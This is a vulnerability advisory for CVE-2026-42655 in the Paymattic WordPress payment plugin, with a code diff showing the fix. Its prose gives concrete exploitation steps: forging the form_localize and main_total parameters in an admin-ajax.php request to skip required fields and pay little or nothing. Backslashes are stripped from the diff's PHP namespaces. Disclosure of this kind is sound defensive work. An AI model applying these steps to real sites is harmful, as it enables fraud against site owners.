Atomic Edge Proof of Concept automated generator using AI diff analysis
Published : May 18, 2026

CVE-2026-42655: Paymattic – Secure, Simple Payment & Donation with Subscription Payments, Recurring Donations, Customer Management <= 4.6.19 – Missing Authorization (wp-payment-form)

Severity Medium (CVSS 5.3)
CWE 862
Vulnerable Version 4.6.19
Patched Version 4.6.20
Disclosed April 28, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-42655:

This vulnerability is a Missing Authorization (CWE-862) in the Paymattic plugin for WordPress, affecting versions up to and including 4.6.19. The issue allows unauthenticated attackers to perform unauthorized form submissions, specifically enabling the manipulation of payment amounts, bypassing validation logic, and potentially submitting fraudulent transactions or donations. The CVSS score is 5.3 (Medium), reflecting the potential for financial impact without requiring authentication.

The root cause lies in the `SubmissionHandler.php` file, specifically in the `validate()` method and the main submission processing logic. In the vulnerable code, the `validate()` method (line 519 of the patched file) accepted a fourth parameter `$form_localize` which was extracted from `$_REQUEST[‘form_localize’][‘conditional_logic’]` (line 43). This localize data was used to determine if a field was required: `$isRequired = Arr::get($form_localize[$element[‘type’]], ‘required’)`. An attacker could craft a `form_localize` JSON object that sets all fields as not required, effectively bypassing client-side validation rules. Additionally, the main submission handler (line 91) used a `$totalPayableAmount` directly from `$_REQUEST[‘main_total’]` without server-side recalculation from the payment items. This allowed an attacker to manipulate the total payable amount by simply altering the `main_total` POST parameter.

Exploitation is straightforward. An attacker can POST to the AJAX handler endpoint (typically `/wp-admin/admin-ajax.php` with `action=wppayform_form_submission`) with crafted parameters. The attacker sets `form_localize[conditional_logic]` to an array where all field types have `required` set to empty or false, bypassing mandatory field checks. Simultaneously, the attacker supplies a `main_total` parameter with an arbitrary low or zero value while including legitimate payment items in `form_data`. The plugin would then process the submission using the attacker-specified total, potentially enabling underpayment or free transactions. No nonce check existed in the vulnerable version to prevent this cross-site request forgery or unauthenticated submission.

The patch addresses both issues. First, a nonce check was added at line 65-69 of `SubmissionHandler.php` using `wp_verify_nonce()` against `$_REQUEST[‘wpf_nonce’]` with the action `’wpf_form_submission’`. The nonce is generated and passed to the frontend via `wp_create_nonce()` in the `Render.php` localize script (line 575). Second, the `validate()` method no longer accepts `$form_localize` as a parameter; instead, validation is performed directly from the form element’s `options` array. The logic changed from checking `Arr::get($form_localize[$element[‘type’]], ‘required’)` to checking `Arr::get($element, ‘options.required’)` and `Arr::get($element, ‘options.conditional_logic_option.conditional_logic’)`. Third, the `$totalPayableAmount` from `$_REQUEST[‘main_total’]` was removed (line 94 of the diff shows `$totalPayableAmount = intval(…)` was deleted). Instead, the server now recalculates `$serverCalculatedTotal` from the validated payment items (lines 119-124), preventing client-side price manipulation.

Successful exploitation allows an unauthenticated attacker to submit payment forms with arbitrary total amounts, bypass required field validation, and potentially complete transactions without paying the correct amount. This could lead to financial loss for site owners accepting donations, subscriptions, or product payments through Paymattic. The vulnerability requires no authentication and can be triggered via standard HTTP POST requests, making it accessible to any attacker who can reach the WordPress site.

Differential between vulnerable and patched code

Below is a differential between the unpatched vulnerable code and the patched update, for reference.

Code Diff
--- a/wp-payment-form/app/Hooks/Handlers/AdminMenuHandler.php
+++ b/wp-payment-form/app/Hooks/Handlers/AdminMenuHandler.php
@@ -2,6 +2,8 @@

 namespace WPPayFormAppHooksHandlers;

+if (!defined('ABSPATH')) exit;
+
 use WPPayFormAppApp;
 use WPPayFormAppModelsSubmission;
 use WPPayFormAppModelsForm;
@@ -89,7 +91,7 @@
                 // Check if the table exists
                 if ($wpdb->get_var($wpdb->prepare("SHOW TABLES LIKE %s", $table_name)) === $table_name) {
                     // Table exists, count entries
-                    $entriesCount = $wpdb->get_var("SELECT COUNT(*) FROM {$table_name}");
+                    $entriesCount = $wpdb->get_var($wpdb->prepare("SELECT COUNT(*) FROM %i", $table_name));
                 }
                 if ($entriesCount) {
                     $entriesTitle .= ' <span class="wpf_unread_count" style="background: #e89d2d;color: white;border-radius: 8px;padding: 1px 8px;">' . $entriesCount . '</span>';
--- a/wp-payment-form/app/Hooks/Handlers/SubmissionHandler.php
+++ b/wp-payment-form/app/Hooks/Handlers/SubmissionHandler.php
@@ -40,17 +40,20 @@
         if (!isset($_REQUEST['form_data'])) {
             return;
         }
-
+
+        if (!isset($_REQUEST['wpf_nonce']) || !wp_verify_nonce(sanitize_text_field(wp_unslash($_REQUEST['wpf_nonce'])), 'wpf_form_submission')) {
+            wp_send_json_error(array(
+                'message' => __('Security verification failed. Please refresh and try again.', 'wp-payment-form'),
+            ), 403);
+        }
+
         parse_str($_REQUEST['form_data'], $form_data);
-        $form_localize = Arr::get($_REQUEST['form_localize'], 'conditional_logic');
         // Now Validate the form please
         if(isset($_REQUEST['form_id'])){
             $formId = absint(sanitize_text_field(wp_unslash($_REQUEST['form_id'])));
         }
         $this->formID = $formId;

-        // Get Original Form Elements Now
-        $totalPayableAmount = intval(wp_unslash($_REQUEST['main_total'] ?? 0));
         do_action('wppayform/form_submission_activity_start', $formId);

         $form = Form::getForm($formId);
@@ -60,13 +63,11 @@
                 'message' => __('Invalid request. Please try again', 'wp-payment-form'),
             ), 423);
         }
-
         $formattedElements = Form::getFormattedElements($formId);

         $numericCalculation = [];
         $submittedNumericCalculation = apply_filters('wppayform/dynamic_payment_calculation', '', $numericCalculation, $formattedElements, $form_data);
-
-        $this->validate($form_data, $formattedElements, $form, $form_localize);
+        $this->validate($form_data, $formattedElements, $form);

         $paymentMethod = apply_filters('wppayform/choose_payment_method_for_submission', '', $formattedElements['payment_method_element'], $formId, $form_data);

@@ -86,35 +87,45 @@
                 if (!empty($subscription['type']) && $subscription['type'] == 'single') {
                     // We converted this as one time payment
                     $paymentItems[] = $subscription;
-                } else {
-                    $subscriptionItems = array_merge($subscriptionItems, $subscription);
+                } else if ($subscription) {
+                    array_push($subscriptionItems, ...$subscription);
                 }
             } elseif ($payment['type'] == 'coupon' && isset($form_data['__wpf_all_applied_coupons'])) {
                 $this->appliedCoupons = json_decode($form_data['__wpf_all_applied_coupons']);
             } elseif ($payment['type'] == 'donation_item') {
                 if (isset($form_data['donation_is_recurring']) && $form_data['donation_is_recurring'] == 'on') {
                     $subscription = $this->getSubDonationLine($payment, $paymentId, $quantity, $form_data, $formId);
-                    $subscriptionItems = array_merge($subscriptionItems, $subscription);
+                    if ($subscription) {
+                        array_push($subscriptionItems, ...$subscription);
+                    }
                 } else {
                     $lineItems = $this->getPaymentLine($payment, $paymentId, $quantity, $form_data);
                     if ($lineItems) {
-                        $paymentItems = array_merge($paymentItems, $lineItems);
+                        array_push($paymentItems, ...$lineItems);
                     }
-                };
+                }
             } else {
                 $lineItems = $this->getPaymentLine($payment, $paymentId, $quantity, $form_data);

                 if ($lineItems) {
-                    $paymentItems = array_merge($paymentItems, $lineItems);
+                    array_push($paymentItems, ...$lineItems);
                 }
             }
         }

         $subscriptionItems = apply_filters('wppayform/submitted_subscription_items', $subscriptionItems, $formattedElements, $form_data);

+        // Calculate server-side total from payment items to prevent client-side price manipulation
+        $serverCalculatedTotal = 0;
+        foreach ($paymentItems as $paymentItem) {
+            if (isset($paymentItem['line_total'])) {
+                $serverCalculatedTotal += $paymentItem['line_total'];
+            }
+        }
+
         $discountPercent = 0;
-        if (!empty($this->appliedCoupons)) {
-            $amountToPay = $totalPayableAmount;
+        if (!empty($this->appliedCoupons) && $serverCalculatedTotal > 0) {
+            $amountToPay = $serverCalculatedTotal;
             $couponModel = new WPPayFormProClassesCouponsCouponModel();
             $coupons = $couponModel->getCouponsByCodes($this->appliedCoupons, true);
             $validCouponItems = $couponModel->getValidCoupons($coupons, $this->formID, $amountToPay);
@@ -175,14 +186,16 @@
         }

         $currentUserId = get_current_user_id();
-        if (!$this->customerName && $currentUserId) {
+        if ((!$this->customerName || !$this->customerEmail) && $currentUserId) {
             $currentUser = get_user_by('ID', $currentUserId);
-            $this->customerName = $currentUser->display_name;
-        }
-
-        if (!$this->customerEmail && $currentUserId) {
-            $currentUser = get_user_by('ID', $currentUserId);
-            $this->customerEmail = $currentUser->user_email;
+            if ($currentUser) {
+                if (!$this->customerName) {
+                    $this->customerName = $currentUser->display_name;
+                }
+                if (!$this->customerEmail) {
+                    $this->customerEmail = $currentUser->user_email;
+                }
+            }
         }
         // If 100% discount then we will not process payment method and set payment method to offline
         $hasRecurring = false;
@@ -289,8 +302,6 @@
         //populating order items to submission only for 'after submission' email notification
         $submission->order_items = $paymentItems;

-        // do_action('wppayform/after_form_submission_complete', $submission, $formId);
-
         if ($paymentItems || $subscriptionItems) {
             // Insert Payment Items
             $itemModel = new OrderItem();
@@ -422,7 +433,7 @@
             if ($paymentMethod) {
                 if (apply_filters('wppayform/validate_gateway_api_' . $paymentMethod, false, $form) === false && $paymentMethod != 'offline') {
                     wp_send_json_error(array(
-                        'message' => "Validation failed, Credentials not setup yet for $paymentMethod !",
+                        'message' => __('Payment processing is currently unavailable. Please try again later.', 'wp-payment-form'),
                     ), 423);
                 }
                 if (100 <= $discountPercent) {
@@ -509,7 +520,7 @@
         return $allSubscriptions;
     }

-    private function validate($form_data, $formattedElements, $form, $form_localize)
+    private function validate($form_data, $formattedElements, $form)
     {
         $errors = array();
         $formId = $form->ID;
@@ -519,9 +530,8 @@
         foreach ($formattedElements['input'] as $elementId => $element) {
             // Skip hidden fields
             $error = false;
-            $isRequired = Arr::get($form_localize[$element['type']], 'required');
-
-            if (Arr::get($element, 'options.conditional_logic_option.conditional_logic') === 'no' || $isRequired === 'yes') {
+            $isConditional = Arr::get($element, 'options.conditional_logic_option.conditional_logic') !== 'no';
+            if (!$isConditional || isset($form_data[$elementId])) {
                 if (Arr::get($element, 'options.required') == 'yes' && empty($form_data[$elementId]) && !Arr::get($element, 'options.disable', false)) {
                     $error = $this->getErrorLabel($element, $formId);
                 }
@@ -542,8 +552,8 @@
         }
         // Validate Payment Fields
         foreach ($formattedElements['payment'] as $elementId => $element) {
-            $isRequired = Arr::get($form_localize[$element['type']], 'required');
-            if (Arr::get($element, 'options.conditional_logic_option.conditional_logic') === 'no' || $isRequired === 'yes') {
+            $isConditional = Arr::get($element, 'options.conditional_logic_option.conditional_logic') !== 'no';
+            if (!$isConditional || isset($form_data[$elementId])) {
                 if (Arr::get($element, 'options.required') == 'yes' && !isset($form_data[$elementId]) && !Arr::get($element, 'options.disable', false)) {
                     $errors[$elementId] = $this->getErrorLabel($element, $formId);
                 }
@@ -666,7 +676,6 @@
         elseif (isset($_SERVER['REMOTE_ADDR'])) {
             return sanitize_text_field(wp_unslash($_SERVER['REMOTE_ADDR']));
         }
-        // return sanitize_text_field(wp_unslash($_SERVER['REMOTE_ADDR']));
         return null;
     }

@@ -828,13 +837,38 @@
                 $payItem['line_total'] = $payItem['item_price'] * $quantity;
             }
         } elseif ($payment['type'] == 'custom_payment_input') {
-            $payItem['item_price'] = wpPayFormConverToCents(floatval($formData[$paymentId]));
+            $rawValue = floatval($formData[$paymentId]);
+            $minValue = floatval(Arr::get($payment, 'options.min_value', 0));
+            if ($rawValue < 0) {
+                wp_send_json_error(array(
+                    'message' => __('Custom payment amount cannot be negative', 'wp-payment-form'),
+                ), 423);
+            }
+            if ($minValue > 0 && $rawValue < $minValue) {
+                wp_send_json_error(array(
+                    /* translators: %s: minimum allowed payment amount */
+                    'message' => sprintf(__('Custom amount must be at least %s', 'wp-payment-form'), $minValue),
+                ), 423);
+            }
+            $payItem['item_price'] = wpPayFormConverToCents($rawValue);
             $payItem['line_total'] = $payItem['item_price'] * $quantity;
         } elseif ($payment['type'] == 'donation_item') {
-            $payItem['item_price'] = wpPayFormConverToCents(floatval($formData[$paymentId . '_custom']));
+            $rawValue = floatval($formData[$paymentId . '_custom']);
+            if ($rawValue < 0) {
+                wp_send_json_error(array(
+                    'message' => __('Donation amount cannot be negative', 'wp-payment-form'),
+                ), 423);
+            }
+            $payItem['item_price'] = wpPayFormConverToCents($rawValue);
             $payItem['line_total'] = $payItem['item_price'] * $quantity;
         } elseif($payment['type'] === 'dynamic_payment_item'){
-            $payItem['item_price'] = wpPayFormConverToCents(floatval($formData[$paymentId]));
+            $rawValue = floatval($formData[$paymentId]);
+            if ($rawValue < 0) {
+                wp_send_json_error(array(
+                    'message' => __('Dynamic Payment amount cannot be negative', 'wp-payment-form'),
+                ), 423);
+            }
+            $payItem['item_price'] = wpPayFormConverToCents($rawValue);
             $payItem['line_total'] = $payItem['item_price'] * $quantity;
         } else {
             return array();
--- a/wp-payment-form/app/Hooks/Scheduler/PendingPaymentExpirationHandler.php
+++ b/wp-payment-form/app/Hooks/Scheduler/PendingPaymentExpirationHandler.php
@@ -2,6 +2,10 @@

 namespace WPPayFormAppHooksScheduler;

+if (!defined('ABSPATH')) {
+    exit;
+}
+
 use WPPayFormAppModelsSubmission;
 use WPPayFormAppModelsSubmissionActivity;
 use WPPayFormAppModelsSubscription;
@@ -80,7 +84,7 @@
             return false;
         }

-        if (!in_array($TransactionStatus, ['pending', 'intented'])) {
+        if ($TransactionStatus && !in_array($TransactionStatus, ['pending', 'intented'])) {
             return false;
         }

--- a/wp-payment-form/app/Hooks/actions.php
+++ b/wp-payment-form/app/Hooks/actions.php
@@ -1,5 +1,7 @@
 <?php

+if ( ! defined( 'ABSPATH' ) ) exit;
+
 use WPPayFormAppModulesNoticesPluginUninstallFeedback;
 use WPPayFormAppServicesBrowser;

--- a/wp-payment-form/app/Http/Routes/routes.php
+++ b/wp-payment-form/app/Http/Routes/routes.php
@@ -1,5 +1,7 @@
 <?php

+if ( ! defined( 'ABSPATH' ) ) exit;
+
 /**
  * @var $router WPPayFormAppHttpRouter
  */
--- a/wp-payment-form/app/Modules/Builder/Render.php
+++ b/wp-payment-form/app/Modules/Builder/Render.php
@@ -569,7 +569,8 @@
                 'payment_gateway_processing_fees' => GeneralSettings::getPaymentGatewayProcessingFees(),
                 'free_version' => WPPAYFORM_VERSION,
                 'has_pro' => defined('WPPAYFORMHASPRO') && WPPAYFORMHASPRO,
-                'pro_version' => defined('WPPAYFORMPRO_VERSION') ? WPPAYFORMPRO_VERSION : false
+                'pro_version' => defined('WPPAYFORMPRO_VERSION') ? WPPAYFORMPRO_VERSION : false,
+                'wpf_nonce' => wp_create_nonce('wpf_form_submission')
             ));
         }

--- a/wp-payment-form/app/Modules/Builder/SubscriptionEntries.php
+++ b/wp-payment-form/app/Modules/Builder/SubscriptionEntries.php
@@ -1,6 +1,11 @@
 <?php
+
 namespace WPPayFormAppModulesBuilder;

+if (!defined('ABSPATH')) {
+    exit;
+}
+
 use WPPayFormFrameworkSupportArr;

 use WPPayFormAppServicesGlobalTools;
--- a/wp-payment-form/app/Modules/Exterior/ProcessDemoPage.php
+++ b/wp-payment-form/app/Modules/Exterior/ProcessDemoPage.php
@@ -2,6 +2,10 @@

 namespace WPPayFormAppModulesExterior;

+if (!defined('ABSPATH')) {
+    exit;
+}
+
 use WPPayFormAppApp;
 use WPPayFormAppModelsForm;
 use WPPayFormAppServicesAccessControl;
@@ -14,8 +18,9 @@
             $hasDemoAccess = AccessControl::hasTopLevelMenuPermission();
             $hasDemoAccess = apply_filters('wppayform/can_see_demo_form', $hasDemoAccess);
             $onlyPreviewPage = "no";
-            if (isset($_GET['template']) && sanitize_text_field(wp_unslash($_GET['template']))) {
-                $onlyPreviewPage = $_GET['template'] == "yes" ? "yes" : "no";
+            if (isset($_GET['template'])) {
+                $template = sanitize_text_field(wp_unslash($_GET['template']));
+                $onlyPreviewPage = $template === 'yes' ? 'yes' : 'no';
             }
             if (!current_user_can($hasDemoAccess)) {
                 $accessStatus = AccessControl::giveCustomAccess();
--- a/wp-payment-form/app/Modules/File/FileHandler.php
+++ b/wp-payment-form/app/Modules/File/FileHandler.php
@@ -2,6 +2,8 @@

 namespace WPPayFormAppModulesFile;

+if ( !defined( 'ABSPATH' ) ) exit;
+
 class FileHandler
 {
     private $originalFile;
--- a/wp-payment-form/app/Modules/FluentCommunity/FluentCommunity.php
+++ b/wp-payment-form/app/Modules/FluentCommunity/FluentCommunity.php
@@ -2,6 +2,8 @@

 namespace WPPayFormAppModulesFluentCommunity;

+if ( ! defined( 'ABSPATH' ) ) exit;
+
 class FluentCommunity {

 	public function register()
--- a/wp-payment-form/app/Modules/FormComponents/NumberComponent.php
+++ b/wp-payment-form/app/Modules/FormComponents/NumberComponent.php
@@ -2,6 +2,8 @@

 namespace WPPayFormAppModulesFormComponents;

+use WPPayFormFrameworkSupportArr;
+
 if (!defined('ABSPATH')) {
     exit;
 }
@@ -11,6 +13,39 @@
     public function __construct()
     {
         parent::__construct('number', 15);
+        add_filter('wppayform/validate_data_on_submission_number', array($this, 'validateOnSubmission'), 1, 4);
+    }
+
+    public function validateOnSubmission($error, $elementId, $element, $form_data)
+    {
+        if ($error) {
+            return $error;
+        }
+
+        $itemValue = Arr::get($form_data, $elementId);
+
+        if ($itemValue === '' || $itemValue === null) {
+            return $error;
+        }
+
+        $itemValue = floatval($itemValue);
+        $minValue = Arr::get($element, 'options.min_value');
+        $maxValue = Arr::get($element, 'options.max_value');
+        $formId = Arr::get($form_data, '__wpf_form_id');
+
+        if ($minValue !== null && $minValue !== '' && $itemValue < floatval($minValue)) {
+            /* translators: %s: minimum allowed field value */
+            $minMessage = sprintf(__('must be at least %s', 'wp-payment-form'), $minValue);
+            return $this->getErrorLabel($element, $formId, $minMessage);
+        }
+
+        if ($maxValue !== null && $maxValue !== '' && $itemValue > floatval($maxValue)) {
+            /* translators: %s: maximum allowed field value */
+            $maxMessage = sprintf(__('must be at most %s', 'wp-payment-form'), $maxValue);
+            return $this->getErrorLabel($element, $formId, $maxMessage);
+        }
+
+        return $error;
     }

     public function component()
--- a/wp-payment-form/app/Modules/Integrations/DashboardWidget.php
+++ b/wp-payment-form/app/Modules/Integrations/DashboardWidget.php
@@ -2,6 +2,8 @@

 namespace WPPayFormAppModulesIntegrations;

+if ( ! defined( 'ABSPATH' ) ) exit;
+
 use WPPayFormAppModelsForm;
 use WPPayFormAppModelsSubmission;
 use WPPayFormAppModelsSubscription;
--- a/wp-payment-form/app/Modules/NumericCalculation/NumericCalculation.php
+++ b/wp-payment-form/app/Modules/NumericCalculation/NumericCalculation.php
@@ -1,6 +1,11 @@
 <?php
+
 namespace WPPayFormAppModulesNumericCalculation;

+if (!defined('ABSPATH')) {
+    exit;
+}
+
 use SymfonyComponentExpressionLanguageExpressionLanguage;
 use WPPayFormFrameworkSupportArr;
 use SymfonyComponentExpressionLanguageExpressionFunction;
--- a/wp-payment-form/app/Modules/PDF/Manager/WPPayFormPdfBuilder.php
+++ b/wp-payment-form/app/Modules/PDF/Manager/WPPayFormPdfBuilder.php
@@ -2,6 +2,10 @@

 namespace WPPayFormAppModulesPDFManager;

+if (!defined('ABSPATH')) {
+    exit;
+}
+
 use WPPayFormAppServicesProtector;
 use WPPayFormAppServicesAccessControl;
 use WPPayFormAppServicesPlaceholderParser;
--- a/wp-payment-form/app/Modules/PaymentMethods/Offline/OfflineProcessor.php
+++ b/wp-payment-form/app/Modules/PaymentMethods/Offline/OfflineProcessor.php
@@ -2,6 +2,10 @@

 namespace WPPayFormAppModulesPaymentMethodsOffline;

+if (!defined('ABSPATH')) {
+    exit;
+}
+
 use DateTime;
 use WPPayFormAppModelsSubmissionActivity;
 use WPPayFormAppModelsTransaction;
--- a/wp-payment-form/app/Modules/PaymentMethods/Stripe/ApiRequest.php
+++ b/wp-payment-form/app/Modules/PaymentMethods/Stripe/ApiRequest.php
@@ -75,10 +75,6 @@
             $user_agent['lang_version'] = phpversion();
         }

-        if (function_exists('php_uname')) {
-            $user_agent['uname'] = php_uname();
-        }
-
         return $user_agent;

     }
--- a/wp-payment-form/app/Modules/PaymentMethods/Stripe/CancelSubscription.php
+++ b/wp-payment-form/app/Modules/PaymentMethods/Stripe/CancelSubscription.php
@@ -10,7 +10,7 @@
     exit;
 }

-class cancelSubscription
+class CancelSubscription
 {
     public static function Cancel($formId, $subscription, $submission)
     {
--- a/wp-payment-form/app/Modules/PaymentMethods/Stripe/StripeInlineHandler.php
+++ b/wp-payment-form/app/Modules/PaymentMethods/Stripe/StripeInlineHandler.php
@@ -253,7 +253,12 @@
      * */
     public function confirmScaSetupIntentsPayment()
     {
-
+        if (!isset($_REQUEST['wpf_nonce']) || !wp_verify_nonce(sanitize_text_field(wp_unslash($_REQUEST['wpf_nonce'])), 'wpf_form_submission')) {
+            wp_send_json_error(array(
+                'message' => __('Security verification failed. Please refresh and try again.', 'wp-payment-form'),
+            ), 403);
+        }
+
         if(isset($_REQUEST['submission_id'])){
             $submissionId = intval(sanitize_text_field(wp_unslash($_REQUEST['submission_id'])));
         }
@@ -375,6 +380,12 @@
      */
     public function confirmScaPayment()
     {
+        if (!isset($_REQUEST['wpf_nonce']) || !wp_verify_nonce(sanitize_text_field(wp_unslash($_REQUEST['wpf_nonce'])), 'wpf_form_submission')) {
+            wp_send_json_error(array(
+                'message' => __('Security verification failed. Please refresh and try again.', 'wp-payment-form'),
+            ), 403);
+        }
+
         if (isset($_REQUEST['submission_id'])) {
             $submissionId = absint(wp_unslash($_REQUEST['submission_id']));
         }
@@ -581,7 +592,11 @@
             'created_by' => 'Paymattic BOT',
             'content' => __('Payment status changed from pending to paid', 'wp-payment-form')
         ));
-
+
+        // Refresh submission and transaction from DB so hooks receive updated payment_status
+        $submission = $submissionModel->getSubmission($submission->id);
+        $transaction = $transactionModel->getTransaction($transaction->id);
+
         do_action('wppayform/form_payment_success', $submission, $transaction, $submission->form_id, false);
         do_action('wppayform/form_payment_success_stripe', $submission, $transaction, $submission->form_id, false);

--- a/wp-payment-form/app/Services/AsyncRequest.php
+++ b/wp-payment-form/app/Services/AsyncRequest.php
@@ -46,7 +46,14 @@

     public function handleBackgroundCall()
     {
-        check_ajax_referer($this->action, 'nonce');
+        // This is a server-to-server loopback request fired by dispatchAjax().
+        // Nonce verification is unreliable here because wp_remote_post arrives
+        // as a separate HTTP request without the original user's session/cookies,
+        // causing check_ajax_referer() to fail for guest (nopriv) submissions
+        // and triggering a fatal wp_die() → 500 error on the frontend.
+        if (!wp_doing_ajax()) {
+            wp_die('Invalid request', 403);
+        }

         $originId = false;
         if (isset($_REQUEST['origin_id'])) {
--- a/wp-payment-form/app/Services/Browser.php
+++ b/wp-payment-form/app/Services/Browser.php
@@ -2,6 +2,10 @@

 namespace WPPayFormAppServices;

+if (!defined('ABSPATH')) {
+    exit;
+}
+
 /**
  * File: Browser.php
  * Author: Chris Schuld (http://chrisschuld.com/)
--- a/wp-payment-form/app/Services/Integrations/FluentCrm/FluentCrmInit.php
+++ b/wp-payment-form/app/Services/Integrations/FluentCrm/FluentCrmInit.php
@@ -2,6 +2,10 @@

 namespace WPPayFormAppServicesIntegrationsFluentCrm;

+if (!defined('ABSPATH')) {
+    exit;
+}
+
 use WPPayFormFrameworkFoundationApp;
 use WPPayFormAppModelsSubmission;
 use WPPayFormAppModelsSubmissionActivity;
--- a/wp-payment-form/app/Services/Integrations/FluentSupport/Bootstrap.php
+++ b/wp-payment-form/app/Services/Integrations/FluentSupport/Bootstrap.php
@@ -2,6 +2,8 @@

 namespace WPPayFormAppServicesIntegrationsFluentSupport;

+if ( ! defined( 'ABSPATH' ) ) exit;
+
 use WPPayFormAppServicesConditionAssesor;
 use WPPayFormAppServicesIntegrationsIntegrationManager;
 use WPPayFormFrameworkSupportArr;
--- a/wp-payment-form/app/Services/Integrations/FluentSupport/FluentSupport.php
+++ b/wp-payment-form/app/Services/Integrations/FluentSupport/FluentSupport.php
@@ -2,10 +2,12 @@

 namespace WPPayFormAppServicesIntegrationsFluentSupport;

+if ( ! defined( 'ABSPATH' ) ) exit;
+
 use WPPayFormFrameworkFoundationApp;
 use WPPayFormFrameworkSupportArr;

-class FluentSupportInit
+class FluentSupport
 {
     public function init()
     {
--- a/wp-payment-form/app/Services/Integrations/IntegrationManager.php
+++ b/wp-payment-form/app/Services/Integrations/IntegrationManager.php
@@ -2,6 +2,8 @@

 namespace WPPayFormAppServicesIntegrations;

+if ( ! defined( 'ABSPATH' ) ) exit;
+
 use WPPayFormFrameworkSupportArr;

 abstract class IntegrationManager
--- a/wp-payment-form/app/Services/Integrations/MailChimp/MailChimp.php
+++ b/wp-payment-form/app/Services/Integrations/MailChimp/MailChimp.php
@@ -54,7 +54,7 @@
             $this->api_endpoint  = $api_endpoint;
         }

-        $this->last_response = array('headers' => null, 'body' => null);
+        $this->last_response = array('httpHeaders' => null, 'http_code' => null, 'body' => null);
     }

     /**
@@ -259,10 +259,10 @@
         }

         // Extract response info
-        $response['headers'] = wp_remote_retrieve_headers($wp_response);
-        $response_content   = wp_remote_retrieve_body($wp_response);
+        $response['httpHeaders'] = wp_remote_retrieve_headers($wp_response);
+        $response['http_code']   = wp_remote_retrieve_response_code($wp_response);
+        $response['body']        = wp_remote_retrieve_body($wp_response);

-        $response = $this->setResponseState($response, $response_content, null);
         $formattedResponse = $this->formatResponse($response);

         $this->determineSuccess($response, $formattedResponse, $timeout);
@@ -283,9 +283,9 @@
         $this->request_successful = false;

         $this->last_response = array(
-            'headers'     => null, // array of details from curl_getinfo()
-            'httpHeaders' => null, // array of HTTP headers
-            'body'        => null // content of the response
+            'httpHeaders' => null,
+            'http_code'   => null,
+            'body'        => null,
         );

         $this->last_request = array(
@@ -300,84 +300,8 @@
     }

     /**
-     * Get the HTTP headers as an array of header-name => header-value pairs.
-     *
-     * The "Link" header is parsed into an associative array based on the
-     * rel names it contains. The original value is available under
-     * the "_raw" key.
-     *
-     * @param string $headersAsString
-     * @return array
-     */
-    private function getHeadersAsArray($headersAsString)
-    {
-        $headers = array();
-
-        foreach (explode("rn", $headersAsString) as $i => $line) {
-            if ($i === 0) { // HTTP code
-                continue;
-            }
-
-            $line = trim($line);
-            if (empty($line)) {
-                continue;
-            }
-
-            list($key, $value) = explode(': ', $line);
-
-            if ($key == 'Link') {
-                $value = array_merge(
-                    array('_raw' => $value),
-                    $this->getLinkHeaderAsArray($value)
-                );
-            }
-
-            $headers[$key] = $value;
-        }
-
-        return $headers;
-    }
-
-    /**
-     * Extract all rel => URL pairs from the provided Link header value
-     *
-     * Mailchimp only implements the URI reference and relation type from
-     * RFC 5988, so the value of the header is something like this:
-     *
-     * 'https://us13.api.mailchimp.com/schema/3.0/Lists/Instance.json; rel="describedBy", <https://us13.admin.mailchimp.com/lists/members/?id=XXXX>; rel="dashboard"'
-     *
-     * @param string $linkHeaderAsString
-     * @return array
-     */
-    private function getLinkHeaderAsArray($linkHeaderAsString)
-    {
-        $urls = array();
-
-        if (preg_match_all('/<(.*?)>s*;s*rel="(.*?)"s*/', $linkHeaderAsString, $matches)) {
-            foreach ($matches[2] as $i => $relName) {
-                $urls[$relName] = $matches[1][$i];
-            }
-        }
-
-        return $urls;
-    }
-
-    /**
-     * Encode the data and attach it to the request
-     * @param   resource $ch cURL session handle, used by reference
-     * @param   array $data Assoc array of data to attach
-     */
-    private function attachRequestPayload(&$ch, $data)
-    {
-        $encoded = json_encode($data);
-        $this->last_request['body'] = $encoded;
-        // phpcs:ignore WordPress.WP.AlternativeFunctions.curl_curl_setopt
-        curl_setopt($ch, CURLOPT_POSTFIELDS, $encoded);
-    }
-
-    /**
      * Decode the response and format any error messages for debugging
-     * @param array $response The response from the curl request
+     * @param array $response The response array with 'body' key
      * @return array|false    The JSON decoded into an array
      */
     private function formatResponse($response)
@@ -392,35 +316,10 @@
     }

     /**
-     * Do post-request formatting and setting state from the response
-     * @param array $response The response from the curl request
-     * @param string $responseContent The body of the response from the curl request
-     * * @return array    The modified response
-     */
-    private function setResponseState($response, $responseContent, $ch)
-    {
-        if ($responseContent === false) {
-            // phpcs:ignore WordPress.WP.AlternativeFunctions.curl_curl_error
-            $this->last_error = curl_error($ch);
-        } else {
-            $headerSize = $response['headers']['header_size'];
-
-            $response['httpHeaders'] = $this->getHeadersAsArray(substr($responseContent, 0, $headerSize));
-            $response['body'] = substr($responseContent, $headerSize);
-
-            if (isset($response['headers']['request_header'])) {
-                $this->last_request['headers'] = $response['headers']['request_header'];
-            }
-        }
-
-        return $response;
-    }
-
-    /**
      * Check if the response was successful or a failure. If it failed, store the error.
-     * @param array $response The response from the curl request
-     * @param array|false $formattedResponse The response body payload from the curl request
-     * @param int $timeout The timeout supplied to the curl request.
+     * @param array $response The response array with 'http_code' and 'body' keys
+     * @param array|false $formattedResponse The decoded JSON response body
+     * @param int $timeout The timeout supplied to the request.
      * @return bool     If the request was successful
      */
     private function determineSuccess($response, $formattedResponse, $timeout)
@@ -437,25 +336,20 @@
             return false;
         }

-        if ($timeout > 0 && $response['headers'] && $response['headers']['total_time'] >= $timeout) {
-            $this->last_error = sprintf('Request timed out after %f seconds.', $response['headers']['total_time']);
-            return false;
-        }
-
         $this->last_error = 'Unknown error, call getLastResponse() to find out what happened.';
         return false;
     }

     /**
-     * Find the HTTP status code from the headers or API response body
-     * @param array $response The response from the curl request
-     * @param array|false $formattedResponse The response body payload from the curl request
+     * Find the HTTP status code from the response or API response body
+     * @param array $response The response array with 'http_code' key
+     * @param array|false $formattedResponse The decoded JSON response body
      * @return int  HTTP status code
      */
     private function findHTTPStatus($response, $formattedResponse)
     {
-        if (!empty($response['headers']) && isset($response['headers']['http_code'])) {
-            return (int) $response['headers']['http_code'];
+        if (!empty($response['http_code'])) {
+            return (int) $response['http_code'];
         }

         if (!empty($response['body']) && isset($formattedResponse['status'])) {
--- a/wp-payment-form/app/Services/Integrations/MailChimp/MailChimpIntegration.php
+++ b/wp-payment-form/app/Services/Integrations/MailChimp/MailChimpIntegration.php
@@ -2,6 +2,8 @@

 namespace WPPayFormAppServicesIntegrationsMailChimp;

+if ( ! defined( 'ABSPATH' ) ) exit;
+
 use WPPayFormAppServicesIntegrationsMailChimpMailChimpSubscriber as Subscriber;
